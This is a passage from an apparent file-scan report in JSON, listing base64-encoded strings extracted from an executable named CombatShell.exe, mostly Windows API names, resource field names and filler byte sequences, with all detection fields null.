Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0S2V5U3RhdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TGFzdEVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TWVudQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TWVzc2FnZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TW9kdWxlRmlsZU5hbWVX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TW9kdWxlSGFuZGxlQQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TW9kdWxlSGFuZGxlRXhX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TW9kdWxlSGFuZGxlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TW9uaXRvckluZm9X","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TmFtZWRQaXBlSW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0T2JqZWN0Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0T3ZlcmxhcHBlZFJlc3VsdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0cGVlcm5hbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UHJvY0FkZHJlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UHJvY2Vzc0hlYXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UHJvY2Vzc0lk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UHJvcFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UXVldWVkQ29tcGxldGlvblN0YXR1c0V4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UmF3SW5wdXREYXRh","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UmF3SW5wdXREZXZpY2VJbmZvVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0c29ja25hbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0c29ja29wdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3RkSGFuZGxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtRGlyZWN0b3J5Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtSW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtTWVudQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtTWV0cmljcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtVGltZVByZWNpc2VBc0ZpbGVUaW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGVtcFBhdGhX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VG91Y2hJbnB1dEluZm8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VXNlclByb2ZpbGVEaXJlY3RvcnlX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93TG9uZ1B0clc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93TG9uZ1c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93UGxhY2VtZW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93UmVjdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93c0RpcmVjdG9yeVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93VGV4dExlbmd0aFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93VGV4dFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2coKCgoKCgoKCgoKCgoKCgo","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2cxMTExMTExMTExMTFnMTExMTExMTExMTExMTExMWcxMWcxMTExMTExMTExMTExMWdnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2cuLi4uLi4uLi4uLi4uLi4u","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2cvLy8vLy9nZy9nLy8vLy8vLy8vLy8vLy8vL2cvL2dnZy9nZy90dHR0dHR0dHR0dHR0dHR0Z3R0dHR0dHR0dA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2c4ODg4ODg4Zzg4ODg4ODg4OGdnODg4ODhnODhnODg4ODhnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dcXFxcXFxcXFxcXFxcXFxcZ2dnZ1xcXFxcXFxcZ2dnZ2dnZ1w=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZygoKCgoKGdnZ2dnZ2dnZ2cwMDAwMDAwMDAwMDAwMDAwZ2dnZzBnZ2cwMDAwMDAwMDAwMDA0NDQ0NDQ0NDQ0NDQ0NDQ0Z2dnZ2dnZ2dnZ2c7Ozs7Ozs7Ozs7Ozs7Ozs7Z2dnZ2dnOzs7Ozs7Ozs7OztnZ2c7Ozc3Nzc3Nzc3Nzc3Nzc3NzdnZzc3ampqampqampqampqampqamdnampqampqampqamdnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZyoqKioqKioqKioqKioqKipnZ2dnZ2dnZ2cqKysrKysrKysrKysrKysrKw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2cjI2cjIyMjIyNnZ2cjIyNnIyMjI2dnZyMjZyNnIyNnZ2cjI2dnZyMjI2dnZyMjIyMjIyMjIyMjI2dnZ2cjIyNnZ2cjIyNnIyMjI2dnI2dnZ2dnZyNnZ2dnZ2dnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnLCwsLCwsLCwsLCwsLCwsLGdnZ2dnZ2dnZ2dnZy0tLS0tLS0tLS0tLS1nLS1nZ2dnZ2dnZ2dnZ2c=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnQUFBQUFBQUFBQUFBQUFBQWdnZ2dnZ2dnZ0F4eHh4eHh4eHh4eHh4eHh4Z2dnZ2dnZ2dnZ3hnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2c=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dnZ2c=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dnZ2dnIyMjIyMjIyMjIyMjIyMjIw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2cnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnZycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJ2dnZ2cnJycnJycnJycnJycnJycnJycnJycnJydnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnZycnJycnJyc=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dnZ0dHR0dHR0dHR0dHR0dHR0dnZ2dnZ2dnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dnU1NTU1NTU1NTU1NTU1NTU2dnZ2dnZ2dnZ2c=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ0tLS0tLS0tLS0tLS0tLS0tnZ2dnZ2dnZ2dnS0tLS0tLS0tLS2dLS0tLS0tLS0tLS0tLZ2dnZ2dLS0s=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ3Z2dnZ2dnZ2dnZ2dnZ2dnZndnZ2dnZ2dnZ2dmdnZ2dnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnWlpaWlpaWlpaWlpaWlpaWmdnZ2dnZ2dnb29vb29vb29vb29vb29vb2dnZ2dnZ2dnb28=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dZWVlZWVlZWVlZWVlZWVlZZ2dnZ2c1NTU1NTU1NTU1NTU1NTU1ZzU9PT09PT09PT09PT09PT09Z2dnZz09PT09PT09Z2dnZ2dnZ2dnZzMzMzMzMzMzMzMzMzMzMzMyMjIyMjIyMjIyMjIyMjIyZ2dnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnTk5OTk5OTk5OTk5OTk5OTmc=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dra2tra2tra2tra2tra2trZ2dnaGhoaGhoaGhoaGhoaGhoaGdnZ2dnZ2dnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsQWxsb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsRnJlZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsTG9jaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsU2l6ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsVW5sb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SGVhcEFsbG9j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SGVhcEZyZWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SGVhcFJlQWxsb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"aWVtb2ppUmVndWxhcmVtb2ppRm9udCBnZW5lcmF0ZWQgYnkgSWNvTW9vbi4=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1tQXNzb2NpYXRlQ29udGV4dEV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1tR2V0Q29tcG9zaXRpb25TdHJpbmdX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1tR2V0Q29udGV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1tUmVsZWFzZUNvbnRleHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1tU2V0Q2FuZGlkYXRlV2luZG93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1tU2V0Q29tcG9zaXRpb25XaW5kb3c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1wZXJzb25hdGVBbm9ueW1vdXNUb2tlbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW5pdGlhbGl6ZVByb2NUaHJlYWRBdHRyaWJ1dGVMaXN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW5pdE9uY2VCZWdpbkluaXRpYWxpemU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW5pdE9uY2VDb21wbGV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW50ZXJuYWxOYW1l","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW52YWxpZGF0ZVJnbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW9jdGxzb2NrZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SXNDbGlwYm9hcmRGb3JtYXRBdmFpbGFibGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SXNJY29uaWM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SXNQcm9jZXNzRFBJQXdhcmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SVVkbTNkbTJwY29WYmFyQVVkYWhQYTI0","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"a2djZGNjQnFhLm0uTQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"S2lsbFRpbWVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TCQoLDV3Kkg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TCQoSDtBYHU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TCQoSGtEJDAwSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TCQoSGtEJDBISA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TCQoSGtEJDBwSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TCQwSCNEJDBI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TGVhdmVDcml0aWNhbFNlY3Rpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TGVnYWxDb3B5cmlnaHQ=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZEN1cnNvclc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZEltYWdlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZExpYnJhcnlB","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZExpYnJhcnlFeFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZExpYnJhcnlX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9ja0ZpbGVFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TFREZVZlcmdIZzEy","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"bFRIekdIek1IemtIem1n","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWFwVmlld09mRmlsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWFwVmlydHVhbEtleUV4Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWFwVmlydHVhbEtleVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWVzc2FnZUJveFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"bW5tZm1rbGRsbWw=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"bW9kbmFyb2RIM0EoSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TW9kdWxlMzJGaXJzdFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TW9kdWxlMzJOZXh0Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TW9uaXRvckZyb21Qb2ludA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TW9uaXRvckZyb21SZWN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TW9uaXRvckZyb21XaW5kb3c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TW92ZUZpbGVFeFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TXVsdGlCeXRlVG9XaWRlQ2hhcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"bXdic3ZwcnBwbXBoa2tocGd5ZGJj","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"bVdiU3ZzclBSUFBNcC5tLlBIbW9sbWlsbWJseGxvZ2xua3RLTUtLaW5IUGhhR3lkQkNvLkM=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Tk5OTk5OTk5OTmdnZ2dOTg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TnRDYW5jZWxJb0ZpbGVFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TnRDcmVhdGVGaWxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TnREZXZpY2VJb0NvbnRyb2xGaWxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TlRETEwuRExM","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TnRPcGVuRmlsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TnRSZWFkRmlsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TnRXcml0ZUZpbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TyUxPUlVYW15","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"T2xlSW5pdGlhbGl6ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"T25ubm5ubm5ubm5ubm5ubm5nZ2dnZ2dnZ2dnZ24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"T09PT09PT09PT09PT09PTw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"T3BlbkNsaXBib2FyZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"T3JpZ2luYWxGaWxlbmFtZQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UFtdX15BXEFeQV8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UGVla01lc3NhZ2VX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UG9zdE1lc3NhZ2VX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UG9zdFF1ZXVlZENvbXBsZXRpb25TdGF0dXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHBwcHBwcHBwcHBwcHBwcGdnZ2dnZ2dnZ2dncHBwcHBwcHBwcHBwcHBw","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2Vzc1Bybmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UHJvZHVjdE5hbWU=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UHJvZHVjdFZlcnNpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UThIO0QkYHJV","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"cXFxcXFxcXFnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UXVlcnlQZXJmb3JtYW5jZUNvdW50ZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UXVlcnlQZXJmb3JtYW5jZUZyZXF1ZW5jeQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ciAuMjY6SlpibA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmFpc2VFeGNlcHRpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVhZENvbnNvbGVX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVhZEZpbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVhZEZpbGVFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVjdmZyb20=","type":"Ansi","source":"Memory/File 